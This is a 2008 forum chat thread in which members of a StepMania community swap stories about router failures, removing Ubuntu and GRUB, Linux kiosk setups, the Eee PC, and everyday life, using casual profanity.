Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 28, 2008, 01:00:27 AM
Also, annon, that's really cool. I wish there were abandoned buildings around me, everything's relatively new and well-kept around here so there's just, like, swamps to explore. Which are nice too. I always manage to find stuff from the 70's and 80's in swamps.

Yeah, we're planning on bringing a camera tomorrow so we can get some pictures.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 28, 2008, 01:01:36 AM
Urbex is pretty wicked. I wish there was shit to explore around here, there aren't even any decent swamps.

Also, that picture of that penny is terrible. You need to either a) focus that shit, or B) put that case someplace the camera could actually focus on.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on July 28, 2008, 01:04:57 AM
Urbex is pretty wicked. I wish there was shit to explore around here, there aren't even any decent swamps.

Also, that picture of that penny is terrible. You need to either a) focus that shit, or B) put that case someplace the camera could actually focus on.

Nah, doesn't work like that. My camera blows for close-ups of anything in any sense. It's just plain impossible. I used to use my sister's camera for pictures of my coins but she moved out last week. My camera does not focus.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on July 28, 2008, 02:38:49 AM
Nah, doesn't work like that. My camera blows for close-ups of anything in any sense. It's just plain impossible. I used to use my sister's camera for pictures of my coins but she moved out last week. My camera does not focus.

Eh sucks.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on July 28, 2008, 02:43:31 AM
So, the AC adapter on our main router died (it's a 12V brick that was putting out nearly 16V when I checked it...oops), leaving us without shared Internet access.  That is bad.

Then the WAN port on our Linksys BEFSR41 suddenly started working again (the reason we got the newer router is because that port stopped working), letting us put things mostly back to the way they were (though we don't have enough switch ports at the moment, unfortunately).  That is good.

Hopefully the router didn't get damaged when the AC adapter blew out.  If we can revive it using a $10 brick from Radio Shack that'll be awesome (we don't have reliable wi-fi now -- we do have a US Robotics AP/router that my dad uses as an overglorified switch but it drops the signal constantly).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on July 28, 2008, 02:49:48 AM
So, the AC adapter on our main router died (it's a 12V brick that was putting out nearly 16V when I checked it...oops), leaving us without shared Internet access.  That is bad.

Then the WAN port on our Linksys BEFSR41 suddenly started working again (the reason we got the newer router is because that port stopped working), letting us put things mostly back to the way they were (though we don't have enough switch ports at the moment, unfortunately).  That is good.

Hopefully the router didn't get damaged when the AC adapter blew out.  If we can revive it using a $10 brick from Radio Shack that'll be awesome (we don't have reliable wi-fi now -- we do have a US Robotics AP/router that my dad uses as an overglorified switch but it drops the signal constantly).

And I have no fucking idea what that means Spectere but good luck what ever you are trying to do.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 28, 2008, 02:59:15 AM
It's really not that complicated at all.

Also, that sucks ass.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on July 28, 2008, 04:10:27 AM
Eh, it's no so bad.  Like I said, at least the WAN port wound up...suddenly...working...on the BEF.  That thing's an old motherfucker.  Let's just say, the firmware that was on the unit was from September 10, 2001 (what a hell of a day to release a firmware update) and I know I updated it once or twice after we bought it.  Latest firmware for it was released in June 2004, I think.  That unit is back before Cisco bought Linksys.

I was surprised to discover that they still manufacturer the BEFSR41.  Granted, it's a newer hardware revision (we have hardware version 1.0 -- 4.3 is the latest platform version) but it's the same thing in (mostly) the same case.

Also, one thing that I'll always love about Linksys products is how easily you can update them.  tftp -i 192.168.1.1 put insertfirmwarefilenamehere.bin.  Ding! -- done.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 28, 2008, 04:26:25 AM
Cool, IIRC mine came with a program to update the firmware, but linksys takes FOREVER to release new firmware. I updated my firmware once, to 1.52.02, Apr 7 2005, and haven't had any newer versions to upgrade to, lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Milk Chan on July 28, 2008, 05:39:59 AM
Linksys sucks. Every some odd months my connection will just die and i'll panic and think something bad happened.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on July 28, 2008, 07:41:52 AM
Linksys sucks. Every some odd months my connection will just die and i'll panic and think something bad happened.

are you shitting me? I'd kill for a connection that even dropped once a month. >:|
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 28, 2008, 07:52:58 AM
Same. :/
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 28, 2008, 12:41:21 PM
We've had a Netgear router from Charter for a few months now and the only time it dropped a connection was when I temporarily turned off the WEP security while one of my friends was trying to get Xbox Live working at my house.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on July 28, 2008, 03:56:03 PM
So there's a new search engine out now.  I wrote words about it: http://www.spectere.net/blog/2008/07/cuil-a-new-search-engine/ (http://www.spectere.net/blog/2008/07/cuil-a-new-search-engine/) </e-pimping>

Linksys sucks. Every some odd months my connection will just die and i'll panic and think something bad happened.

Just because your connection drops doesn't mean that it's a problem with the Linksys device.  As with any other radio signal, it's best to blame interference before you blame the device.

In my case, the US Robotics device is more than likely at fault since it is positioned in the same place as other wireless access points were and drops connections on a regular basis.  In your case, if it only drops every couple of months it's hardly fair to bash Linksys for something that (1) rarely happens and (2) is most likely caused by outside interference.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on July 28, 2008, 04:01:04 PM
Just tried searching and apparently their servers got owned. Overload't.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on July 28, 2008, 04:47:43 PM
Yeah, I've been having that happen as well.

Eh, give it a few days, I say.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 28, 2008, 07:48:41 PM
hmm, yesterday was kind of cool.  but the friends were being bitches today, so YAY FOR RANDOMLY LEAVING WHILE THEY ARE GONE!

also, swedish energy drink.

another mention, the psp slims are rather nice to use.  more internal ram means, you can actually browse the internet without much hastle, and games load faster.  also, the thing just feels nicer. 
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 28, 2008, 09:03:51 PM
Anyone have a link to a lightweight Linux LiveCD that I can easily use to get root access? I'm trying to uninstall Ubuntu, and I read the easiest way is to delete everything on the partition save for the boot folder and edit GRUB using the Ubuntu LiveCD. That's all fine and dandy, but the only way for me to delete everything is through Windows, and I can't do that easily because of permissions. I also couldn't do that using the LiveCD because I needed root access.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on July 28, 2008, 09:10:30 PM
I just plugged in my old compy upstairs temporarily to do a few nifty things with it from the comfort of my chair, so I have Windows on one monitor, LUNICKZ on the other, and I'm blasting REM while I work.  Life is good.

more internal ram means, you can actually browse the internet without much hastle

Have you ever used the PSP's web browser?  Doing just about anything on that is a hassle. :P

In all honesty, it's not too terrible, but...meh.  If I was reliant on that I'd probably scream.

Anyone have a link to a lightweight Linux LiveCD that I can easily use to get root access?

Damn Small Linux: http://www.damnsmalllinux.org/ (http://www.damnsmalllinux.org/)

DSL is a nice LiveCD that weighs in at a mere 50MB.  Quite nice to have around.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 28, 2008, 09:17:58 PM
Have you ever used the PSP's web browser?  Doing just about anything on that is a hassle. :P

i used it on both the fat and slim psp. 

but, no its not a practical way to get online.  but as a person without a laptop, say i am on the shitter, or at a friends house and i need to check something online, it can be handy. 

considering the fat psp is rather laggy online, and the slim psp seems to be substantionally faster.  if you browse online every once in a while for reasons i posted, or any other practical reasons, i don't see a problem.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on July 28, 2008, 11:48:25 PM
The only thing I really use the PSP's online for is actually internet radio. I don't have a computer of my own so if I'm just working on something in my room (cleaning, switching things around, leveling in some game, doing a puzzle, I don't know), I just turn on some anime music channel or metal or something and just put on my headphones.

But yes, overall, the PSP Slim is a vast improvement over the fat. Especially once hacked and you overclock older games. Man does it help load times on some stuff.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 29, 2008, 12:37:32 AM
So what? No "have a happy birthday?" Yall niggas cruel.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 29, 2008, 12:54:10 AM
posting in this thread "ITS MA MAFUCKIN BURT'DAY TAHDAE" is a good way to let people know.

anyway, it looks like you had a good one, so...that leaves what i can say to be limited.

happy birthday anyway, because y'know im obligated to say it and stuff.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 29, 2008, 01:09:16 AM
posting in this thread "ITS MA MAFUCKIN BURT'DAY TAHDAE" is a good way to let people know.

I did yesterday. Also yeah, I'm not a teenager anymore.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 29, 2008, 01:17:30 AM
Damn Small Linux: http://www.damnsmalllinux.org/ (http://www.damnsmalllinux.org/)

DSL is a nice LiveCD that weighs in at a mere 50MB.  Quite nice to have around.

Cool, thanks.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on July 29, 2008, 02:00:44 AM
Now for something completely different.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on July 29, 2008, 02:58:36 AM
(http://upload.wikimedia.org/wikipedia/en/e/e7/DeadParrot.png)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 29, 2008, 05:26:01 AM
Holy SHIT.

Ok, 4 hours, 2 LiveCDs, several partition resizes, and a few reboots later, I finally got my computer working properly after resizing the Windows partition. Here's what happened: I deleted everything on the Ubuntu partition and redid the menu.lst in the grub folder, which worked out fine. However, there was no partitioner on the LiveCD I used. I had to burn another CD, this time remembering to put gparted in.

I booted up again, went into gparted, deleted the swap partition, and resized everything accordingly. But when I tried to reboot, I got grub error 22, which I'd earlier read meant that the partition wasn't found. I didn't realize why until I booted back up with a LiveCD: There are 2 hard drives in this computer. Recovery is hda1, main is hda2, I don't remember what was hda3, and hda4 was extended, which is made up of hda5 (swap) and hda6 (Ubuntu). When I deleted the swap partition, the Ubuntu (now just grub) partition was renamed to hda5. Grub didn't know this, it just assumed that I had gotten rid of an important part of it. So I rebooted, this time with the LiveCD that had gparted on it (I'd used the other one).

I tried simply renaming the partition, but that didn't seem to work. Eventually I resized the main partition (again), copied the grub partition (to hda6), formatted the first one (hda5) to swap, and shrunk everything down as small as possible to make room for the main partition. Now, although my computer boots properly, I have a useless 7MB swap partition.

Lesson learned: When installing anything for dual-boot on a computer that doesn't have a multi-OS bootloader, do the swap space last.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 29, 2008, 06:15:48 PM
Well I have no clue what you just said, but it sounds confusing. Also my PC is pretty much set up now, and my internet signal is bouncing from 3 to 2 bars. Now all I need is a reliable and safe way to download PERFECTLY LEGITIMATE software.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 29, 2008, 06:31:18 PM
Lol, lots of work. Personally, I'd have tossed grub out the window if I was getting rid of linux.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 29, 2008, 07:19:29 PM
Lol, lots of work. Personally, I'd have tossed grub out the window if I was getting rid of linux.

I'm not sure how to safely do that, so I just let it stay. It doesn't really get in the way, it just shows up for a second during boot to pick the only OS.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 29, 2008, 07:37:38 PM
Spec could tell you better, but I pretty much just deleted it, lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 30, 2008, 04:03:08 AM
Moderate change of subject: I ordered parts for a computer I've been wanting to build for some time, and the only component that's come by mail so far is the case. I should get more tomorrow/day.

EDIT: My cat loves the case box.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 30, 2008, 02:37:09 PM
interesting dream i had

basically it was zombies and shit, and being trapped in this house, and there was a barn there or something.  and i found a magnum, and for a while it escalated to me telling the people there goodbye, then i shot myself in the head with it, fell down, started to fall asleep, then stuff seemed to zoom out into nothing...and i wake up because i guess my dream character died. 

quite interesting
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on July 30, 2008, 05:45:06 PM
interesting dream i had

basically it was zombies and shit, and being trapped in this house, and there was a barn there or something.  and i found a magnum, and for a while it escalated to me telling the people there goodbye, then i shot myself in the head with it, fell down, started to fall asleep, then stuff seemed to zoom out into nothing...and i wake up because i guess my dream character died. 

quite interesting

I dreamt I stabbed my cat(though there were several of her) and my black lab.  One of the more disturbing/distressing dreams I've had in a long while.  Thankfully I was able to fall back asleep after a while so I could get the damn images out of my head.  :/
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on July 30, 2008, 07:24:33 PM
Hey guys, we got a shout out in OpenITG's "WhoToSue.txt" file:

Quote
Special Thanks:
 - KholdFuzion
 - bacon
 - Spectere and friends at Spectere.net
 - StepMania team for making an awesome framework
 - StepMania.com

Not sure whether to blame infamouspat or vyhd (or both?) for that. :P

Lol, lots of work. Personally, I'd have tossed grub out the window if I was getting rid of linux.

You can't just delete grub.  If you delete grub, the stage1 binary in the MBR can't find the stage2 on your ext2/ext3/reiserfs/whatever and your system will refuse to do much of anything.

The only way to completely get rid of grub is to replace the MBR using a Windows CD (or a backup boot sector, if you have one available).  You either have to use fixmbr or fixboot (one of the two, but it doesn't hurt to run both) while in the Windows recovery console.  Hilariously enough, that's about the only thing that the Windows recovery console is actually good for.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 30, 2008, 08:00:47 PM
Lol, yes, yes it is. I've done that. I forgot that I needed to do that after deleting grub, but I did.

The other way is to have your grub based boot sector on one drive, and windows on a different one, and just switch your BIOS to boot the windows drive directly and delete grub.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on July 31, 2008, 12:03:10 AM
Yes, sue spec... That little shit. :P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on July 31, 2008, 12:31:47 AM
I'm a big shit, thank you very much. <3

Also, yayz for my new StepMania setup!  StepMania 4.0 + dubaiOne + Cobalt Flux + My Old Computer + Gentoo = Yeehaw!  The only real issue that I've had is that my Cobalt Flux control box, for some reason, reports that it's a standard Xbox controller.  This wouldn't be a problem, but the xpad kernel driver refuses to map the d-pad to buttons under any circumstance if the controller is known.  I did a quick hack (i.e. forcing it to map the d-pad as buttons for that particular controller) but I think I'm going to eventually do it the right way in time (expose an option that allows someone to override those settings).  I've been keeping my changes in patch files to allow me to easily update the tree of future kernels, though considering how often xpad seems to receive updates (last update was with kernel version 2.6.16.X -- we're at 2.6.26 now, and my StepMania machine is running a 2.6.25 level kernel since that's what's marked stable in portage).

The machine is pretty nice...really a testament to Gentoo's incredible flexibility (combined with a little bit of hackery by yours truly).  It's set to auto-login root on boot on all consoles.  There are two major runlevels -- the standard "default" and "nox."  They have the same startup services, but if my additions to /etc/conf.d/local.start picks up that the user is running in the default runlevel it starts X/StepMania automagically.  Speaking of that, starting StepMania is a one-step process from the command prompt.  Just type sm40 from anywhere and that X startup script will start X and immediately start da StepMan.  If you don't need the shell at all, however, starting StepMania is a matter of booting the machine, selecting the entry in GRUB, and letting the system boot itself up.

I ended up setting up a window manager in X just for the sake of having something there if I want to do any high-resolution work, since I don't have a console framebuffer in place.  Since the system won't typically have a mouse connected to it, I configured and installed dwm -- an extremely light tabbed window manager that requires nothing more than a keyboard and a display -- to use a single tab and to full-screen everything.  Terminals are set to spawn with Win+Enter, windows are paged through using Alt+J/K, and windows are brought to the main pane with Alt+Enter.  Very simple to use, intuitive, and exactly what I needed.  This desktop gets invoked when you type "startx" at the command prompt.

The next step is to get a menu system in place so that I can switch between multiple StepMania versions (I plan to have OpenITG and 4.0 selectable when the joystick input in OpenITG becomes usable), quit out of X, or halt the system.  It'll all be joystick and keyboard-controlled so that, ultimately, I won't have to even have a keyboard attached to it.  I already wrote a small joystick test program, so all that's left is figuring out the nuances of X11 programming (which may or may not be an exercise in frustration...we'll see).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on July 31, 2008, 09:20:07 AM
I'm a big shit, thank you very much. <3

Also, yayz for my new StepMania setup!  StepMania 4.0 + dubaiOne + Cobalt Flux + My Old Computer + Gentoo = Yeehaw!  The only real issue that I've had is that my Cobalt Flux control box, for some reason, reports that it's a standard Xbox controller.  This wouldn't be a problem, but the xpad kernel driver refuses to map the d-pad to buttons under any circumstance if the controller is known.  I did a quick hack (i.e. forcing it to map the d-pad as buttons for that particular controller) but I think I'm going to eventually do it the right way in time (expose an option that allows someone to override those settings).  I've been keeping my changes in patch files to allow me to easily update the tree of future kernels, though considering how often xpad seems to receive updates (last update was with kernel version 2.6.16.X -- we're at 2.6.26 now, and my StepMania machine is running a 2.6.25 level kernel since that's what's marked stable in portage).

The machine is pretty nice...really a testament to Gentoo's incredible flexibility (combined with a little bit of hackery by yours truly).  It's set to auto-login root on boot on all consoles.  There are two major runlevels -- the standard "default" and "nox."  They have the same startup services, but if my additions to /etc/conf.d/local.start picks up that the user is running in the default runlevel it starts X/StepMania automagically.  Speaking of that, starting StepMania is a one-step process from the command prompt.  Just type sm40 from anywhere and that X startup script will start X and immediately start da StepMan.  If you don't need the shell at all, however, starting StepMania is a matter of booting the machine, selecting the entry in GRUB, and letting the system boot itself up.

I ended up setting up a window manager in X just for the sake of having something there if I want to do any high-resolution work, since I don't have a console framebuffer in place.  Since the system won't typically have a mouse connected to it, I configured and installed dwm -- an extremely light tabbed window manager that requires nothing more than a keyboard and a display -- to use a single tab and to full-screen everything.  Terminals are set to spawn with Win+Enter, windows are paged through using Alt+J/K, and windows are brought to the main pane with Alt+Enter.  Very simple to use, intuitive, and exactly what I needed.  This desktop gets invoked when you type "startx" at the command prompt.

The next step is to get a menu system in place so that I can switch between multiple StepMania versions (I plan to have OpenITG and 4.0 selectable when the joystick input in OpenITG becomes usable), quit out of X, or halt the system.  It'll all be joystick and keyboard-controlled so that, ultimately, I won't have to even have a keyboard attached to it.  I already wrote a small joystick test program, so all that's left is figuring out the nuances of X11 programming (which may or may not be an exercise in frustration...we'll see).
;D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 31, 2008, 01:43:18 PM
For some unknown reason, my internet has started to move at a much slower speed. My wireless signal is at 50%, yet it is still about as fast as dial up. I was working fine at the same connection yesterday and nw it just shitted out. y u do this internet.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on July 31, 2008, 02:15:19 PM
For some unknown reason, my internet has started to move at a much slower speed. My wireless signal is at 50%, yet it is still about as fast as dial up. I was working fine at the same connection yesterday and nw it just shitted out. y u do this internet.

Provider maybe...or your router.  I don't know much about computers but know more then about 95% of the US persons.

Also the views for this are almost

[OVER 9000!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 31, 2008, 05:44:34 PM
So I'm currently transferring all of the media from my old computer to my new one 4GB at a time with a flash drive.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 31, 2008, 06:01:35 PM
dubaiOne?

was ist das?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 31, 2008, 09:05:12 PM
Provider maybe...or your router.  I don't know much about computers but know more then about 95% of the US persons.

I was thinking it was my router, considering how old it is, but the other PC hooked directly into it works fine. Then I disconnected my P2P program (which didn't have any uploads or downloads) and I suddenly have fine working internet.

wut duh fuk. fucen thing sux.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 31, 2008, 09:07:18 PM
Well, even with only 1 computer here, uTorrent makes a pretty big impact on my internet speed. My brother turns it off whenever he's on Y live, because it lags the webcam stream a lot.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on July 31, 2008, 09:33:44 PM
I have do this only because it is appropriate.

"Vegeta what does board say about the views?"
"It's OVER 9000!"
Title: Re: Lame Replies Thread, With A Vengeance
Post by: 『フエハデ』 on July 31, 2008, 09:40:00 PM
I have do this only because it is painfully old.

(http://vyhd.homelinux.org/images/awesome/1195204638657-2.png)

(Edited to make the image smaller)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on August 01, 2008, 03:47:02 AM
So I'm currently transferring all of the media from my old computer to my new one 4GB at a time with a flash drive.

I suppose you can't just plug in your old hard drive and copy it?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 01, 2008, 04:22:55 AM
That would certainly make things easier. The OTHER way is to simply plug the old hard drive in and leave it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 01, 2008, 12:54:41 PM
The IDE slot in my new computer is buried under cables. It would probably take just as long to fit in the old hard drive. Besides, the old computer is still in use, just not by me. I'm almost done anyways. I only had about 30gb of not-easily-replaceable stuff.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 01, 2008, 03:59:42 PM
Ahh, see, I've got enough components/half put together computers to have about 3 working computers here, and enough hard drives for each of them to have 1 and some of them to have 2.

They're likely never going to be put together. Because nobody but me seems to know how to, and I honestly don't care about having them.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on August 01, 2008, 04:28:40 PM
The IDE slot in my new computer is buried under cables. It would probably take just as long to fit in the old hard drive. Besides, the old computer is still in use, just not by me. I'm almost done anyways. I only had about 30gb of not-easily-replaceable stuff.

You should look into cable management, it'll fuck up your airflow, not to mention looks shitty if you have a side window. I would just plug in the hard disk into the motherboard and set it on an ESD bag, while the case is open. Turn it on, transfer files, turn it off, reinstall drive onto old computer. (or even just move them if it's over a network) Now would also be a great time to backup data.


Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 01, 2008, 04:49:00 PM
Yeah, the only way I get away with having a mass of cables is because my entire side is off my computer, creating an open system that doesn't heat up as much as a closed case would.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 01, 2008, 07:01:46 PM
My airflow's fine. I have 5 fans: Intake on the front, intake in the side panel, 2 in the back, and one on the ceiling, as well as the heatsinks for my processor and video card. I almost never feel hot air coming out, and I've opened up and felt the heatsinks and they've never been too hot. Of course, I haven't tried overclocking yet. I do have a side window, though, so maybe I'll try and clean up.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 01, 2008, 08:24:57 PM
dubaiOne?

http://stepmaniathings.com/downloads/themes/dubaione.html (http://stepmaniathings.com/downloads/themes/dubaione.html)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 01, 2008, 08:44:00 PM
looks good, but i use 3.9

/crai
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 01, 2008, 09:10:04 PM
I'd give 4.0 a shot.  It's a hell of a lot better than it was, and at this point I'd say it's probably better than 3.9.  It definitely runs better, overall.

Also, for the record, there are some bugs in dubaiOne.  I discovered a few of them as I started actually using the theme on my setup.  I'll probably try to fix them and just send the patches to AJ.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 02, 2008, 08:56:13 AM
Looks kinda nice, but I'm too stubborn to switch from my default theme.

And I may switch to 4.0, since apparently it runs better. Last time I tried 4.0 it didn't run as well as 3.9
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 03, 2008, 04:45:21 AM
ling mao thai cho
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 03, 2008, 07:25:47 AM
So I got to Taiwan today after nearly 24 hours in transit. Jesus Christ, I have never been anywhere so humid in my entire life.

I envy you. Sure, I've been to mexico, but I'd much rather go someplace interesting, like Taiwan :/
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 03, 2008, 01:27:40 PM
I have not left the US in my entire life here...I do want to go to one of my Mother Lands...Germany.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 03, 2008, 03:05:03 PM
i wouldn't mind going to sweden, denmark, the netherlands, norway, france, anywhere in the UK (except northern ireland), south korea (for the pro starcraft), pajan (for the TWO DEE ECKS), finland, russia, poland, and i guess thats about all off the top of my head. 

but really, i don't need pajan when i can play TWO DEE ECKS on the east coast about (estimating) a day drive away.  and i can technically watch the pro starcraft on the internets, but going to an actual event could be cool.  BUT ITS THE EXPERIANCE, and being the only "exotic" place ive been too is FLORIDA...it would be a nice change of scenery.

LETS ALL TAKE A TRIP TO SCANDINAVIA SHALL WE?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 03, 2008, 04:00:57 PM
My JP IIDX controller's keypad is a few steps away from shit, so I swapped the backs on my US and JP keypads and now have a hybrid controller (body/TT from a JP controller, keypad from a US controller).  I only technically have one working controller now, but at least I have one with a good turntable (the one on the US controller isn't gritty enough and has a lot more resistance, even after modding, than the JP one) and a reliable button set.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Shoop Da Whoop on August 03, 2008, 10:12:12 PM
I have a ITG ignition afterburner pad that I want to sell, what's the easiest way to find a buyer so I can get rid of this thing?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on August 03, 2008, 10:30:30 PM
You could ask the people who post at Aaron in Japan.  :3  If you've got an account there, at least.  If you don't, I'm not sure if you can really get one at the moment.  Aaron seems to disappear for months at a time now, and the few days that he returns are the only times new accounts get approved.

I could just post the thread for ya if you like.  :D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 03, 2008, 11:16:24 PM
 ::)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 04, 2008, 10:19:45 AM
I'm trying to learn to read Flip and Invert in Stepmania. So far, Invert is easier to read than Flip.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on August 04, 2008, 10:58:31 AM
::)


Got a point, child?  Or are you just looking to lengthen your e-pen--er, raise your post count?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 04, 2008, 12:23:59 PM
Post count.  I am a posting whore.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 04, 2008, 05:01:20 PM
http://www.spectere.net/smf/index.php?topic=2.0 (http://www.spectere.net/smf/index.php?topic=2.0)

Quote
Rules v1.0
[...]
2) Don't be a postwhore.  If your point can be summed up in a few words odds are it isn't necessary.  Making a short, humorous post (or doing a funny quote edit to another post) is fine in moderation, but "quoting for truth" and similar practices will result in your post getting deleted.

^ This.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 04, 2008, 09:51:28 PM
Turns out I'm going to be spending a lot of time stripping down the stock OS on the Eee PC. I'd install another distro, but that's also a pain with no CD/DVD drive and wi-fi isn't guaranteed.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 04, 2008, 11:38:28 PM
Eee pc what is das?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 05, 2008, 08:00:32 AM
Eee pc what is das?

One of those $400 ultra-mini laptops.

Basically, they were created as an attempt to create ultra low cost introductory laptops to people who can't otherwise afford things like that.

As far as hardware is concerned, pretty much the only things they can do are A) browse the web (on a tiny as fuck screen), B) Word processing/other office type things, C) play music and D) play oldschool games like Doom, or something that takes basically no hardware requirements (because anything that requires much of a computer will never work on one of those things, and with a screen that small, who would want to play those anyway?)

I'm really not trying to bash them as a concept, but with the way people on s.net are with computers, I could hardly see any of us being the kind of people that need an Eee PC. If anything, it would simply become a toy to fuck with for us.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 05, 2008, 08:05:48 AM
All I'm really going to use it for is word processing and browsing the web. I don't need any games on it because I have my tower for that, which can run HL2 with all the settings turned up without lagging. I bought this with the money I had left over from my budget on the tower because I'm going to need a laptop for note taking and whatnot.

For what it's made for, it's great. I like that it's almost completely silent when booted up and booting only takes a few seconds. I also like how small and light it is because it means you can take the thing pretty much anywhere. Tweaking with it is kind of a pain because all LiveCDs I get have to be modified and mounted on either a flash drive or SD card, and I still haven't gotten a gparted LiveCD that works.

EDIT: I got a LiveSD to work, and now it's working with partitions.

I really don't mind too much that I have to do all of this because I'm getting a lot more familiar with Linux and the bash shell.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on August 05, 2008, 09:12:23 AM
I have a ITG ignition afterburner pad that I want to sell, what's the easiest way to find a buyer so I can get rid of this thing?

craigslist, ebay, kijiji.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 05, 2008, 11:03:11 AM
Yeah, they are pretty good as a learning tool/portable note taking system.

Though I have to say that the biggest problem I have with those things is the insanely small screen. I wouldn't mind having one for college so I can type up my notes and browse the web wirelessly in class, but I don't think I'd be able to adjust to such a small screen. I mean, I've got 2 19 inch wide screen monitors on my computer. Even going back to only 1 screen bugs me, let alone going down to a tiny 9 (IIRC) inch thing.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 05, 2008, 12:01:37 PM
So weeds seems like an interesting show. Also at my friends house we found a small Tupperware thing full of a shrimp and a pill bottle, and in the pill bottle was more shrimp. Then about 10 seconds later we found in his freezer a dead frozen snake. Eventful night.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 05, 2008, 12:05:02 PM
Weeds is an awesome show.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 05, 2008, 02:11:59 PM
As far as hardware is concerned, pretty much the only things they can do are A) browse the web (on a tiny as fuck screen), B) Word processing/other office type things, C) play music and D) play oldschool games like Doom, or something that takes basically no hardware requirements (because anything that requires much of a computer will never work on one of those things, and with a screen that small, who would want to play those anyway?)

The Asus Eee is a more capable system than the laptop I had in 2002 and even that system could run UT2004.  Have you even bothered to look at the specs on it?

Really, the only thing holding it back is the size of the SSD, but that's also one of its strengths -- less power and no moving parts.  Also, the 1000-series is going to have 40-80GB of space, making that virtually a non-issue for most uses.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 05, 2008, 06:54:08 PM
But would you really WANT to play UT2k4 on a screen that small?

Anyway, I couldn't really keep the specs for those things straight, but the way I see it, it's great for people who can't afford laptops, or people who need a small ultra-portable computer to type things up and such, and that's about it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 05, 2008, 07:40:55 PM
